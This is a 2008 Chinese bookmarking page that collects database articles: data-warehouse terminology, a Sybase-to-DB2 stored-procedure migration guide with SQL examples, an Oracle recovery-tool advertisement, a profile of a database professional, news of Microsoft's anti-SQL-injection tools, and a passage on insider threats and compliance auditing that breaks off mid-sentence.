Tag/
共2262个网摘 [
1 2 3 4 5 6 ...
76 ]
下一页 |
xuejinyoulan收录,使用标签:数据库,时间:2008-7-3 11:27:07 | 相关网摘,我也收藏
来源:赛迪网
数据仓库引入了新的术语,扩展了数据建模的术语表。为使本文的阐述能够完备,下面我介绍一下最常用的术语。
数据仓库
数据仓库是一个支持管理决策的数据集合。数据是面向主题的、集成的、不易丢失的并且是时间变量。
数据仓库是所有操作环境和外部数据源的快照集合。它并不需要非常精确,因为它必须在特定的时间基础上从操作环境中提取出来。
数据集市
数据仓库只限于单个主题的区域,例如顾客、部门、地点等。数据集市在从数据仓库获取数据时可以依赖于数据仓库,或者当它们从操作系统中获取数据时就不依赖于数据仓库。
事实
事实是数据仓库中的信息单元,也是多维空间中的一个单元,受分析单元的限制。
事实存储于一张表中(当使用关系数据库时)或者是多维数据库中的一个单元。
每个事实包括关于事实(收入、价值、满意记录等)的基本信息,并且与维度相关。
在某些情况下,当所有的必要信息都存储于维度中时,单纯的事实出现就是对于数据仓库足够的信息。我们稍后讨论有关缺无事实的情况。
维度
维度是绑定由坐标系定义的空间的坐标系的轴线。数据仓库中的坐标系定义了数据单元,其中包含事实。
坐标系的一个例子就是带有 x 维度和 y 维度的 Cartesian(笛卡尔)坐标系。
在数据仓库中,时间总是维度之一。
数据挖掘
在数据仓库的数据中发现新信息的过程被称为数据挖掘,这些新信息不会从操作系统中获得。
分析空间
分析空间是数据仓库中一定量的数据,用于进行数据挖掘以发现新信息同时支持管理决策。
切片
一种用来在数据仓库中将一个维度中的分析空间限制为数据子集的技术。
切块
一种用来在数据仓库中将多个维度中的分析空间限制为数据子集的技术。
星型模式
一种使用关系数据库实现多维分析空间的模式,称为星型模式。
星型模式将在本白皮书中稍后进行进一步讨论。
雪花模式
不管什么原因,当星型模式的维度需要进行规范化时,星型模式就演进为雪花模式。
http://tech.ccidnet.com/art/1105/20080626/1488843_1.html
xuejinyoulan收录,使用标签:数据库,时间:2008-7-3 11:17:26 | 相关网摘,我也收藏
本文将介绍一套简单有效的移植方案,指导从Sybase到DB2 V9 FOR Z/OS 的SQL Stored Procedure的移植,并且基于实际移植案例给出了一个具体示例。
背景介绍
随着企业业务的发展,数据量的海量增长,越来越多的企业采用了性能稳定而强大的 DB2 FOR Z/OS 作为数据库管理系统。如何将已有的应用程序移植到 DB2 FOR Z/OS 成为其中重要的一个环节。在实际的案例中,我们发现目前越来越多的应用程序将数据库业务处理部分尽可能的封装到 SQL Stored Procedure 中,这样不仅能得到了很好的模块化、重用性和性能优化,而且因未来业务需求的改动而带来的二次开发也将变得更快捷、更安全。
IBM 提供了强大而实用的 MTK 来帮助客户完成移植过程,但是目前 MTK 并不支持从 Sybase 到 DB2 FOR Z/OS 的移植。
移植方案的技术介绍
当数据库业务处理部分尽可能的封装到 SQL Stored Procedure 时, Stored Procedure 的数量往往会达到上百甚至上千个,而且单个 Stored Procedure 的代码量也可能达到上百或上千行,这时 SQL Stored Procedure 移植的工作量和难度将成为整个项目移植的关键部分。由于目前没有自动的移植工具,我们曾试验了先利用 MTK 将 SQL Stored Procedure 移植到 DB2 FOR LUW ,然后再移植到 DB2 FOR Z/OS ,但效果不是很理想,所以我们的方案采用的是人工直接修改的策略。
由于参与移植的人员往往不全是原有程序的开发人员,对两个数据库管理系统也可能不是很熟悉,所以如何提高人工修改的效率和技术要求成为移植的关键问题。我们的方案将分三步走。
第一阶段中,挑选具有典型代表意义的 SQL Stored Procedure ,进行研究、移植试验。
Sybase 和 DB2 在 SQL Stored Procedure 的语法和使用习惯上有很多细微的差异,目前还没有一个完整的差异对照表,并且具体业务的不同以及开发人员编程习惯的不同,往往使得我们需要具体问题具体分析。
但是在同一个业务模块中的Stored Procedure往往具有相似性。所以在第一阶段,我们需要挑选各个业务模块中典型的 Stored Procedure ,由技术骨干来进行研究、试验。在我们后面的案例中,大约 5% 左右的 Stored Procedure 即包含了所有 Stored Procedure 中的 95% 以上的移植点。我们需要对这些 Stored Procedure 逐个通读代码,发现移植点,研究出等价修改的方法。我们可以使用的调试工具有 Workbench ,文本编辑器等。
第二个阶段中,形成移植手册并加以优化以方便批量修改。
我们需要整理第一阶段中的研究成果,将移植点及其移植方法加以分类整理。移植手册的编制目标是尽可能地使得后期的同事可以根据其中的移植详细步骤将一个 Sybase 的 SQL Stored Procedure 简单地移植到 DB2 中,降低他们对业务和数据库技术的要求。移植手册应该包含绝大部分移植点,完成后最好请其他的同事使用若干第一阶段中未选中 Stored Procedure 加以验证,这样可以发现其中的不足,加以改进优化,并且能够评估后期的工作量。
移植手册可以视具体情况包含多个部分,比如系统环境说明,移植详细步骤,移植点详细解答,移植样例等等,其中移植详细步骤和移植点详细解答是核心。移植详细步骤列举了移植所需要做的修改操作及其顺序。移植点详细解答列举了移植点的上下文、技术详细解释、等价修改及其注意点,是用来更好地理解、补充移植详细步骤的。
第三个阶段中,组织人员根据移植手册进行真正的移植工作。
对于在移植手册中未涵盖的差异,在此期间具体问题具体解决。等全部 Stored Procedure 移植完成后,需要进行完整的功能测试以及必要的性能测试。
移植方案介绍
移植手册是移植方案的核心,其中移植详细步骤和移植点详细解答是关键。限于篇幅,我们这里只是举例了移植详细步骤。
注意:该系统采用 CCSID ASCII ,同时为了信息安全,我们把实例中出现的变量名、列名、表名等有含义的名称统一用 V_n,C_n,T_n (n=1,2,3,4….) 加以替换。
移植准备工作
修改工具: UltraEdit 文本编辑器
方法1:全局替换。查找关键词,用替换词替换即可。
方法2:全局查找,逐个确认替换。查找关键词,确认情景是否符合,然后用替换词替换。
方法3:全局查找,逐个确认,手工修改。查找关键词,确认情景是否符合,根据具体情景修改。
说明:示例代码中“ Sybase 代码”部分是修改前的代码,“ DB2 代码”部分是修改后的代码。
移植详细步骤
第一步:常见替换
方法:方法1,全局替换。
查找关键词:SUBSTRING(
替换词:SUBSTR(
查找关键词:len(
替换词:length(
查找关键词:char_length(
替换词:length(
查找关键词:DATALENGTH(
替换词:length(
查找关键词:ISNULL(
替换词:IFNULL(
查找关键词:+' //表示两个字符串的连接
替换词:||'
查找关键词:!=
替换词:<>
查找关键词: <> NULL
替换词:IS NOT NULL
第二步: 修改 Stored Procedure 定义的开头,可以制作成统一的模板。
修改点:
把函数说明 ‘/**/’多行注释,用‘--’进行单行注释( DB2 不支持多行注释)。
去掉 schema name: ‘dbo.’
传入参数处添加‘( )’
传入参数处添加IN 关键词,并修改IN,OUT的位置
去掉关键词‘AS’,换成 Stored Procedure 的参数选项
以BEGIN作为函数体的开始,把BEGIN移到DECLARE前。
变量定义增加初始值及CCSID ASCII关键字。
清单1. Stored Procedure 定义的开头修改示例
Sybase代码:
CREATE PROCEDURE dbo.P_1
@p_1 VARCHAR(9),
@p_2 VARCHAR(256) OUT
AS
DECLARE @v_1 VARCHAR(50)
DECLARE @v_2 VARCHAR(1024)
BEGIN
DB2代码:
CREATE PROCEDURE Pr_ChkExPreCorp (IN p_1 VARCHAR(9),
OUT p_2 VARCHAR(256))
LANGUAGE SQL
MODIFIES SQL DATA
WLM ENVIRONMENT FOR DEBUG MODE WLMENV1
ASUTIME NO LIMIT
NOT DETERMINISTIC
COMMIT ON RETURN NO
PARAMETER CCSID ASCII
PACKAGE OWNER TEST
QUALIFIER TEST
RESULT SETS 1
BEGIN
DECLARE v_1 VARCHAR(50) CCSID ASCII DEFAULT ’’;
DECLARE v_2 VARCHAR(100) CCSID ASCII DEFAULT ’’;
第三步:赋值语句的修改
方法:方法1,全局替换。
查找关键词:SELECT @
替换词:SET //注意:SET 后面带一个空格
清单2 :赋值语句的修改
Sybase 代码:
SELECT @v_1='0'
DB2 代码:
SET v_1 ='0';
注意:该处使用全局替换可能错误地替换一些地方,比如语句
select @aaa=xxxx, @bbb = yyyy from …… where ……
但是情况不多,可以在 Deploy Stored Procedure 的时候发现错误并改回来。
第四步:全局变量 @@sqlstatus 和 WHILE 语句的改写
方法:方法3,全局查找,逐个确认,手工修改。
查找关键词:@@sqlstatus = 0 , WHILE
修改点:
去掉 BEGIN, 添加 DO;
END 改为 END WHILE;
@@sqlstatus = 0 替换成 v_sqlcode = 0。//注意:v_sqlcode 的定义见后面HANDLER的定义;
在每个‘FETCH C1 INTO …’之前添加‘SET v_sqlcode =0’。
清单 3 :全局变量 @@sqlstatus 和 WHILE 语句的改写
Sybase 代码:
OPEN C1
FETCH C1 INTO ……
WHILE @@sqlstatus = 0
BEGIN
… …
FETCH C1 INTO ……
END
DB2 代码:
OPEN C1;
set v_sqlcode = 0;
FETCH C1 INTO ……
WHILE v_sqlcode = 0 DO
… …
set v_sqlcode = 0;
FETCH C1 INTO ……
END WHILE;
第五步:全局变量 @@ERROR 的改写
方法:方法3,全局查找,逐个确认,手工修改。
查找关键词:@@ERROR
修改点:
(1)@@ERROR修改
清单4:@@ERROR修改
Sybase代码:
SELECT @v_errcode = CONVERT(VARCHAR(10),@@ERROR)
IF ERROR <> 0
GOTO ERROR
DB2代码:
IF (v_sqlcode < 0) THEN
GOTO ERROR;
END IF;
(2) 在前面 DECLARE 部分添加 HANDLER 处理的定义
清单5 :添加 HANDLER 处理的定义
DECLARE SQLCODE INTEGER DEFAULT 0;
DECLARE v_sqlcode INTEGER DEFAULT 0;
DECLARE CONTINUE HANDLER FOR NOT FOUND
BEGIN
SET v_sqlcode = SQLCODE;
END;
DECLARE CONTINUE HANDLER FOR SQLEXCEPTION, SQLWARNING
BEGIN
SET v_sqlcode = SQLCODE;
END;
第六步:修改 DECLARE 语句
方法:方法3,全局查找,逐个确认,手工修改。
查找关键词:DECLARE
修改点:
为所有类型添加 DEFAULT 值,
DEFAULT‘’ -- for Char or Varchar
DEFAULT 0; -- for int
DEFAULT 0.0; -- for numeric
为 char 和 varchar 添加 CCSID ASCII。
如果函数体中间部分也存在 DECLARE 语句(比如 DECLARE CURSOR ),必须把它移到程序开始处。
注意: DB2 中所有 DECLARE 语句必须位于程序开始处。并且必须遵循以下顺序:
1. SQL variable and condition declarations
2. Statement declarations
3. Cursor declarations
4. Handler declarations
5. Any valid statements for an SQL procedure body
第七步:多行注释等价改写成多个单行
方法:方法3,全局查找,逐个确认,手工修改。
查找关键词:/*
修改点:使用‘--’进行逐行单行注释( DB2 不支持多行注释)。
第八步:IF 语句的等价修改
方法:方法3,全局查找,逐个确认,手工修改。
查找关键词:IF
修改点:分两种语句格式:
清单6 :多行注释等价改写成多个单行
第一种语句格式:
Sybase代码:
IF … BEGIN ……END
DB2代码:
IF …THEN
BEGIN …… END ;
END IF;
第二种语句格式:
Sybase代码:
IF … BEGIN ……END
ELSE BEGIN ……END
DB2代码:
IF … THEN
BEGIN …… END ;
ELSE
BEGIN …… END;
END IF;
第九步:在句末加上‘;’
方法:在每一个完整的语句末尾添加‘;’表示语句的分隔。
第十步: 普通 FUNCTION 替换
方法:方法2,全局查找,逐个确认替换。有时+表示数据相加,不能替换。
查找关键词:+ //这里表示字符串变量的连接
替换词:||
方法:方法3,全局查找,逐个确认,手工修改。
查找关键词:CONVERT
替换词:CAST
修改点:
清单7 :在句末加上‘;’
Sybase 代码:
CONVERT( DataType , V_1 )
DB2 代码:
CAST( V_1 as DataType )
方法:方法2,全局查找,逐个确认替换。
查找关键词:DATEDIFF
替换词:待定
方法:方法2,全局查找,逐个确认替换。
查找关键词:DATEADD
替换词:待定
方法:方法3,全局查找,逐个确认,手工修改。
查找关键词:"
替换词:'
注意:若是表示字符串,直接替为'。但是有时两个单引号表示字符串内部的一个单引号,这是不能替换。
方法:方法3,全局查找,逐个确认,手工修改。
查找关键词:SQUARE
修改点: DB2 不支持函数 SQUARE,需要重新改写。
清单8 :改写对函数 SQUARE 的支持
Sybase 代码:
SQUARE (V_1)
DB2 代码:
V_1 * V_1
方法:方法3,全局查找,逐个确认,手工修改。
查找关键词:SQRT
修改点:进行开平方运算时可能会出现精度不够,导致数据误差,需要根据具体情况改写。
清单9:修改关键词SQRT
Sybase 代码:
SQRT ( V_1 / V_2)
DB2 代码:
SQRT ( V_1 / 1000000 / V_2) * 1000
方法:方法3,全局查找,逐个确认,手工修改。
查找关键词:NULL
修改点:分两种情况:
情况1:表示判断是否为 NULL 的语句。
清单10:关键词NULL情况1
Sybase 代码:
Where V_1 = NULL
DB2 代码:
Where V_1 is NULL
情况2:在如下格式的语句‘insert into … select … ,NULL , … from … ’中, select 子句中 NULL 作为插入的值,但 DB2 不支持这种语法,去掉该列,默认插入值即为 NULL 值.
清单11:关键词NULL情况2
Sybase 代码:
insert into T_1(C_1,C_2) select C_1,NULL from T_2;
DB2 代码:
insert into T_1(C_1) select C_1 from T_2;
第十一步:getdate() 函数替换
getdate() 用于获取不同格式的时间表达。
CONVERT(CHAR, GETDATE(), 112) 时间格式为 YYYYMMDD
CONVERT(CHAR, GETDATE(), 108) 时间格式为 HHMISS
情况1:不在乎时间的格式,可以直接替换。
方法:方法2,全局查找,逐个确认替换。
查找关键词:getdate()
替换词:CURRENT TIMESTAMP
清单12:getdate()函数替换情况1
Sybase 代码:
SELECT @v_1 = GETDATE() ;
DB2 代码:
SET v_1 = TIMESTAMP;
情况2:在乎时间的格式,需要具体情况具体改写。
方法:方法3,全局查找,逐个确认,手工修改。
查找关键词:getdate()
清单13:getdate() 函数替换情况2
Sybase 代码:
CONVERT(CHAR, GETDATE(), 112)
DB2 代码:
varchar_format(CURRENT TIMESTAMP,'YYYYMMDD')
Sybase 代码:
CONVERT(CHAR, GETDATE(), 108)
DB2 代码:
varchar_format (CURRENT TIMESTAMP,'HH24MISS')
注意: DB2 函数 varchar_format 还支持格式 'YYYYMMDDHH24MISS':
varchar_format(CURRENT TIMESTAMP,'YYYYMMDDHH24MISS')
第十二步:游标 CURSOR 处理
方法:方法3,全局查找,逐个确认,手工修改。
查找关键词:CURSOR
修改点:
如果需要把 CURSOR 返回调用程序,不能关闭它
如果不需要把 CURSOR 返回调用程序,关闭它
DB2 中关闭CURSOR语句: CLOSE cursor-name,把DEALLOCATE CURSOR cursor-name 全局确认替换为 CLOSE cursor-name。
第十三步:update … set … from … 格式语句的等价修改
方法:方法3,全局查找,逐个确认,手工修改。
查找关键词:update
修改点:
清单14 :update … set … from … 语法格式
Sybase 语法:
update … set V_1=C_1, V_2=C_2 … from T_1 … where …,
DB2 不支持上述语法,需要改写成如下语法:
update … set (V_1,V_2 ) =
(select C_1,C_2 From T_1 … Where …) where …
清单15 :update … set … from … 格式语句的等价修改
Sybase代码:
UPDATE T_1
SET V_1 = T_2_alias.C_1, V_2 = T_2_alias.C_2, V_3 = T_2_alias.C_3
FROM T_2 T_2_alias
WHERE T_1.C_1 = T_2_alias.C_1
AND T_1.C_4=V_4
DB2代码:
UPDATE T_1 T_1_alias
SET (V_1, V_2, V_3) =
(Select T_2_alias.C_1, T_2_alias.C_2, T_2_alias.C_3
FROM T_2 T_2_alias
WHERE T_1_alias.C_1 = T_2_alias.C_1 )
Where T_1_alias.C_4 = V_4
注意:上述例子中必须为 T_1 指定别名 T_1_alias ,不能在后面的WHERE条件中使用‘T_1.C_1’。WHERE 条件的如何重写(拆分)需要根据业务逻辑具体确定。
第十四步:临时表的等价修改
方法:方法3,全局查找,逐个确认,手工修改。
查找关键词:#
修改点:分两种情况:
情况1,利用 select 语句创建临时表
清单16:利用 select 语句创建临时表
Sybase 代码:
select… into #T_1 from T_2 where 1=2
DB2 代码:
DECLARE GLOBAL TEMPORARY TABLE
SESSION.#T_1 as (select … from T_2 ) WITH NO DATA
CCSID ASCII ON COMMIT DROP TABLE;
情况2,利用 create 语句创建的临时表
清单17:利用 create 语句创建的临时表
Sybase 代码:
create table #T_1(C_1 type,C_2 type, … )
DB2 代码:
DECLARE GLOBAL TEMPORARY TABLE SESSION.#T_1(C_1 type,C_2 type, … )
CCSID ASCII ON COMMIT DROP TABLE;
注意:
1.所有引用临时表的地方,必须加上‘SESSION.’, 否则会使用当前的 SQLID
2.ON COMMIT DROP TABLE 表示在 COMMIT 的时候把临时表删除。
3. 要根据具体业务逻辑决定使用 CREATE GLOBAL TEMPORARY TABLE 还是 DECLARE GLOBAL TEMPORARY TABLE。
第十五步:ORDER BY 中带有函数运算问题
方法:方法3,全局查找,逐个确认,手工修改。
查找关键词:order by
修改点:
DB2 中 order by Y中不支持函数。例如 ‘order by sum(C_1) desc。根据具体业务逻辑进行等价修改。
第十六步:UNION 问题
方法:方法2,全局查找,逐个确认替换。
查找关键词:union
替换词:union all
修改点:
为提高性能(视具体应用程序),将 union 统一替换成 union all
清单18:UNION问题
Sybase 代码:
select C_1 from T_1 union select C_2 from T_2;
DB2 代码:
select C_1 from T_1 union all select C_2 from T_2;
第十七步:GROUP BY 中带有非聚合运算涉及的列
方法:方法3,全局查找,逐个确认,手工修改。
查找关键词:group by
修改点:
在 DB2 中,group by 中的列必须是聚集函数所涉及的, Sybase 中则不然。我们要根据具体业务逻辑进行等价修改。基本上可以直接去掉 group by 中多余的列。
清单19:GROUP BY 中带有非聚合运算涉及的列
Sybase代码:
select sum(C_1), C_2 from T_1 group by C_1, C_2;
select C_1, C_2 from T_1 group by C_1, C_2;
DB2 代码:
select sum (C_1),C_2 from T_1 group by C_2;
select C_1, C_2 from T_1;
http://tech.ccidnet.com/art/1105/20080702/1495161_1.html
xuejinyoulan收录,使用标签:数据库,时间:2008-7-3 10:52:54 | 相关网摘,我也收藏
来源: 赛迪网
DBA最痛苦的事莫过于磁盘损坏、数据丢失。这不仅对DBA个人,对一个企业来说也是一项无法估计的损失。因此,要将这种风险降到最低,就要求数据库系统需要有完整的数据备份、灾难恢复方案,确保数据的万无一失!
但是,尽管有备份和灾难恢复方案,也无法保证风险降为0(况且还存在许多系统没有做备份方案),在一些极端情况下,还是会可能出现磁盘损坏、系统或数据文件损坏导致数据库无法恢复的情况。 针对这种情况,本站推出了一个完全自主开发的Oracle数据恢复工具——FySafe。该工具可以将幸存数据文件(可能文件本身也不完整)中的数据读出,尽可能的帮助用户找回丢失的数据。就像火灾后,尽量从废墟中找出所有有价值的物品,使损失降为最低。
FySafe的特点是可跨平台、速度快、兼容多个数据库版本(Oracle 8.1.7~10g)、可以恢复各种数据表(普通表、压缩表、索引表、簇表、分区表)数据、可以恢复各种数据类型、可以恢复各种数据对象、代码。详情可以参见以下特性列表。
FySafe提供两种服务方式:如果本站技术人员现场恢复的话,可以直接从本地恢复;如果不需要现场恢复的话,可以通过从本站下载客户端,由本站进行远程恢复。
FySafe的特性
·操作系统平台
任何 Unix 系统
任何 Linux 系统
任何 Windows 系统
·Java 版本要求
Java 1.4.2_09 or up
·支持的Oracle数据库版本
Oracle 8.1.7
Oracle 9i
Oracle 10g
·支持恢复的对象
●Tables (DDL)
●表中的数据
普通表 Heap Tables
簇表 Cluster Tables
分区表 Partition Tables
压缩表 Compressed Tables
索引表 IOT Tables
●Indexes (DDL)
普通索引Normal Indexes
位图索引Bitmap Indexes
压缩索引Compressed Indexes
簇Cluster
类型Types
包 Packages
函数 Functions
存储过程 Stored Procedures
触发器 Triggers
·支持恢复的数据类型
Char
Varchar2
NChar
NVarchar2
Number
Float
Integer
Raw
Long
Long Raw
Date
Timestamp
Interval Year To Month
Interval Day to Second
Rowid
CLOB
NCLOB
BLOB
Bfile
XMLType (Stored as CLOB)
·支持恢复的字符集
UTF-8
UTF-16
US7ASCII
GBK
http://tech.ccidnet.com/art/1105/20080702/1495291_1.html
xuejinyoulan收录,使用标签:数据库,时间:2008-7-3 10:31:29 | 相关网摘,我也收藏
范春莹(Fancy Fan), 北京大学MBA,现任中国万网技术总监。许多人对这个名字可能并不熟悉,但提起他的网名“范生”,则老一代技术开发人员都能讲出一段关于他的故事,关于他在ChinaASP数据库版的版主时光,关于他曾用心经营的数据库发展空间的技术网站,关于他组织的一次次的数据库的技术培训等。2007年,Fancy被微软(美国)评为全球IT Hero,2008年又被评选为微软SQL方向的MVP(最有价值专家)。记者对淡出技术社区几年又忽然以技术专家身份获得MVP的Fancy产生了兴趣,希望走近并了解他的数据库写意人生。
Fancy十分健谈,当问到他的职业成长历程时,他坚定的说:“数据库技术的演变是自己职业生涯每一次里程碑的基石”。大学毕业后,Fancy进入中外运-TNT环球快递公司工作。1999年,在他获得MCSE,MCDBA认证后,放弃了外企优厚的待遇,加入了高速成长的互联网企业中国万网,开始了他八年的互联网从业生涯。从这一刻起,Fancy就与数据库结下了不解之缘。2001年,Fancy获得了当时含金量极高的ORACLE OCP DBA认证。同年,凭借数据库专业水平和几乎可能将OCP英文教材倒背如流的能力,他被几家培训机构聘为兼职的OCP DBA、MCDBA认证讲师,曾为大唐电信、松下电器、国研IDC、中科院网络信息中心学员做专场或集中授课。2002年起,Fancy已经在万网担任研发部经理兼DBA,迈上了职业的一个新台阶。
随后几年,Fancy和他的研发团队开始研究数据仓库模型,倡导数据库营销和目标营销模式,使商务智能(BI)得以应用和推进。而经过像买麦网(www.com.cn )等大型互联网项目的洗礼,Fancy逐渐走上技术总监的管理岗位,技术团队也发展到近百人。然而唯一不变的,是Fancy对数据库技术的追求。从关系型数据库到面向对象数据库,从OLTP到数据仓库,数据库技术的演变不仅让Fancy找到了职业生涯的基石,也让企业分享了技术革新的硕果。
范春莹(Fancy Fan)
许多人认为只有银行、航空、保险这样拥有海量数据的大企业才需要数据库营销和数据仓库应用。对于这个问题,Fancy有自己的见解:“现在企业的生存法则已经发生了变化,直接导致营销策略的变化,当前营销的关注点都在从产品向客户转移。从以满足市场需求为目标的4P理论(Product、Price、Place、Promotion),已发展到以建立顾客忠诚为目标的4R理论(Relativity、Reaction、Relation、Retribution),客户已经成为营销的主体。而所有对消费者行为、品牌战略、营销数据分析都离不开数据库营销,离不开数据仓库与数据挖掘。”
记者笑问:“你的数据库营销观点中,是MBA的成分多,还是数据库技术成分多?”Fancy不加思索的表示:“各占50%。数据库营销搭建起技术与商务的桥梁,任何一种技术必须与企业的实践相结合才有价值,让理论和思想找到着陆点。”当谈到技术专家为什么读MBA时,Fancy的回答很朴实,他说希望做一名合格的管理者,带领团队胜出。几年来,Fancy一直在尝试将经济学、管理学理论与技术导向相结合,在技术团队推行情感经济管理与敏捷开发管理体系,形成共建与分享的团队文化。Fancy说:“技术型的管理者是新经济的需要,这恰恰体现了管理的科学性和艺术性。”
当记者问及“MVP对你意味着什么”时,Fancy说:“首先是微软对社区贡献者的认可,对我则意味着责任和奉献。”08年,Fancy继续参与新产品TAP、RDP项目,担任微软WebCast讲师,与众多IT人员分享他的经验和感悟。
对于程序员只吃青春饭的观点,Fancy不认同,但他幽默的说:“那让程序员改做数据库好了。数据库技术像陈年的酒,越老越香。开发重在创新,数据库重在沉淀。当你研究了10年数据库,你已经是内力深厚的武林高手;当你研究20年数据库时,你可能已经成为德高望重的得道高僧了。”沉思了一下,Fancy补充道:“任何职业,吃青春饭也没关系,只是希望你我在年龄老去的时候,不要失去青春的激情和对理想的执着。青春永驻应该是一个解决方案。”
http://news.csdn.net/n/20080703/117127.html
xuejinyoulan收录,使用标签:数据库,时间:2008-7-2 11:14:57 | 相关网摘,我也收藏
出处:IT专家网
微软推广新近发布的免费软件,以协助IT专家们对SQL注入攻击揭竿而起。
这些免费产品的发布正值最近几个月以来合法网站不断受到SQL注入骚扰的非常时期。微软在昨天公布的一份安全报告中宣布了这些可以利用来防范攻击的免费工具。其中有两个工具——UrlScan 3.0 beta和Microsoft Source Code Analyzer for SQL Injection CTP版是微软自己独享的技术成果。另外一款是由惠普的网络安全研究组(与微软合作)开发的名为Scrawlr的网站安全扫描软件。
微软的安全应急协调主管Billl Sick表示,微软正致力于将三款可用于保护个人网站免受SQL注入攻击的独立工具的信息传递给大家。这三款免费软件都提供监测和防御功能,同时还能鉴别可能由攻击者发动的攻击代码。微软鼓励其客户仔细研究微软发布的安全报告,并遵循其中的建议,下载这些工具,为自己创建一个更安全的网络环境。
UrlScan 3.0的作用原理是通过限制网络信息服务(IIS)提出的HTTP请求类型,一遍防止潜在的有害请求触及到服务器的网络应用软件。
Microsoft Source Code Analyzer工具则将目标锁定在ASP源代码,检查是否存在可导致SQL注入攻击漏洞的源代码。该工具只能鉴别传统ASP代码的漏洞,对ASP.NET代码无效。
http://database.ctocio.com.cn/news/20/8190020.shtml
xuejinyoulan收录,使用标签:数据库,时间:2008-7-2 10:28:14 | 相关网摘,我也收藏
作者:IT168
引言
我们都很清楚的记得Enron(美国安然能源公司)和WorldCom(北美运营商)公司破产事件。为了避免类似的事件再次发生,政府在2002年颁布了新的法案,也就是我们都知道的萨班斯•奥克斯利法案(SOX Act)。该法案的目的就是保护投资者的利益,确保公司的财产状况不被泄露。像萨班斯•奥克斯利这类法案在世界范围内广泛执行,包括信息技术组织机构。这些法案围绕如何对信息保管工作设置内部控制,并且能核查这些控制是否得到执行。通常来说,数据库管理员有权限访问所有的公司数据,以便他们能够完成分配给自己的任务,如数据导入和导出、创建报表、维护数据库性能和稳定性,这些数据如此广泛和深入的暴露在数据库管理员面前,作为管理者如何处理这个问题呢?
这篇文章将会非常具体的讨论如何处理内部威胁,内部威胁如今已经比外部威胁更严重。本文将会给大家展示我们的研究成果和发现,以及叙述IT专业人士是如何通过执行一些必要的措施、规则、和手续来减少内部威胁,最后针对法案服从问题提供一些相关的报告。
我们身边存在的法案
在美国最为著名的法案有萨班斯•奥克斯利法案(SOX Act)、健康保险便利及责任法案(HIPAA),在世界上还有一些类似的其它法案。
在日本有金融工具与交易法(Financial Instruments and Exchange Law),这类似于美国的SOX法案,可称之为J-SOX。另外一个就是欧盟的巴塞尔协议:关于统一国际银行资本衡量和资本标准的协议,是由10个国家制定的一套规定。
由于你所处的行业不同,那么你所受的法案约束也就不同。如今无论是国企还是私企,这些法案已经在全球形成影响了,将会影响到你的工作,即便现在你没有直接受到这些法案的约束。表1-1展示了一些法案,以及这些法案所覆盖的威胁。
法案名称 针对的潜在安全威胁
萨班斯·奥克斯利法案302项 302未授权改变数据
萨班斯·奥克斯利法案404项 修改数据,为授权访问数据
萨班斯·奥克斯利法案409项 拒绝服务,为授权访问
格雷姆-里奇-比利雷法 未授权访问,修改,或者泄露
健康保险便利及责任性法案164.306 未授权访问数据
健康保险便利及责任性法案164.312 未授权访问数据
Basel II–内部风险管理 未授权访问数据
联邦规章汇编 第11部分 未授权访问数据
日本隐私法 未授权访问数据
来源:Oracle Vault 文档
有了这么多的法案,你也许就会觉得我们该怎么做就很清楚明白了,根据法案执行就是了,但是事实并非如此。许多的法案留下了许多的空间让你去解读。换言之,就是有许多的决定留给IT组织者去做,这些决定本身会有很大的分歧,做这些决定的人之间也存在很大的分歧。
我们做到了哪一步了
目前许多的数据库供应商都对自己的RDBMS(关系数据库管理系统)提供安全控制和审查。这些手段包括创建组、列级的存储控制、存储过程执行控制等等。审查控制有不同级别的控制。基本级别的审查控制包括用户是否成功登陆系统,而详细审查就会针对每一个SQL语句进行审查。
如果想依照SOX、J-SOX、Basel II、HIPPA这些法案,必须能够给审查者提供必要的记录。最为流行数据库提供商提供了审查工具,这些审查工具提供了必要记录,但是这是要花费成本的。你必须确保你有足够可用的CPU、硬盘、内存资源。就我们其中的一位接受采访的人来说,一个客户机程序每天的日志文件有30-50G。这种级别日志产生量明显要求你有足够的硬件资源,来保证你的数据库性能不受影响。
但是,目前缺乏提供趋势分析的工具,而趋势分析可能会给我们预测到重要的内部威胁。现在大多数数据库都有工具来搜索审查文件,查找是否有访问(存储)违例,有的话就给出警告。这种方式虽然不错,但是对于一些内部威胁来说还远远不够,这类威胁通常来自授权使用数据库的人士。比如说这种情况,一位技术支持人员因为工作的需要,授权查找客户的记录。正常的来说,他一天只需要查找40条记录。如果当他一天访问了100000条记录,这这说明这尅能是一种数据偷窃的行为,我们要给出预报。而这种情况只能经过趋势分析侦查到。
通常情况来说,DBA能够操作的权限大于安全级别控制。这让DBA处于风险中,因为他们有权使用所有的数据,包括日志文件,因此他们就能够破坏审查追踪。数据如此广泛和深度的暴露在DBA面前,使得他们在相关诉讼中往往成为重要证人。我们所需要的可行的方法就是让DBA在不能查看敏感的数据前提下还能完成他们的工作。
我们能有哪些作为?
假设你能够使用大多数数据库开发商所提供的工具,而去不用那些专门的为解决上述问题的产品,你能做些什么呢?
大多数管理者都担心以下问题:
内部控制如何有效
未授权使用如何检测
存储访问如何控制和验证
系统维护如何执行
信息如何提供给独立审查部门
要想让内部控制发挥作用,这就意味你要查看操作记录,要有一个指定的磁盘空间,并且还要有一些规则和手续,来减少存在的风险。审查者将会根据这些记录、规则、手续这些有效的措施来决定是否有违规操作。这些有效的措施包括以下几条,但是并不局限于此:
开展审查工作,确保审查日志文件安全,检查审查记录
能够追踪用户帐号,确保帐号密码时效性没有过期
经认可在适当的时候改变管理系统
追踪时间,因为在故障时间,会有未授权而试图操纵系统
对需要保护的数据需要有备份和灾难恢复
进行系统维护包括确保安装了所有的修补程序。通常来说,关于安全的修补程序必须尽快安装,对于那些需要重启的修补程序需要有计划的安装。其他的修补程序应该进行检查和评估, 决定什么时候应该安装。
为独立的审查部门做准备工作,就意味必须有方法可循,审查者能够遵循什么程序来执行。举个例子,贵公司规定员工在离开公司之时访问记录必须被删除。那么审查者浏览查找人力资系统,选择一个员工,在与员工离开相匹配的时间删除该员工的数据库访问记录。
至于DBA为了自保,有几件事情可以做。举个例子,你可以尽可能的细分应用程序,每个子应用程序有各自的登录名,删除具有访问整个系统的帐号。这样一来,即使有问题,也只是局部受到影响。另外,确保你的操作能够追溯的到,这些操作是经过认可的,或者是系统需要的操作。
来自一家美国西南地区医疗公司的受采访者说:
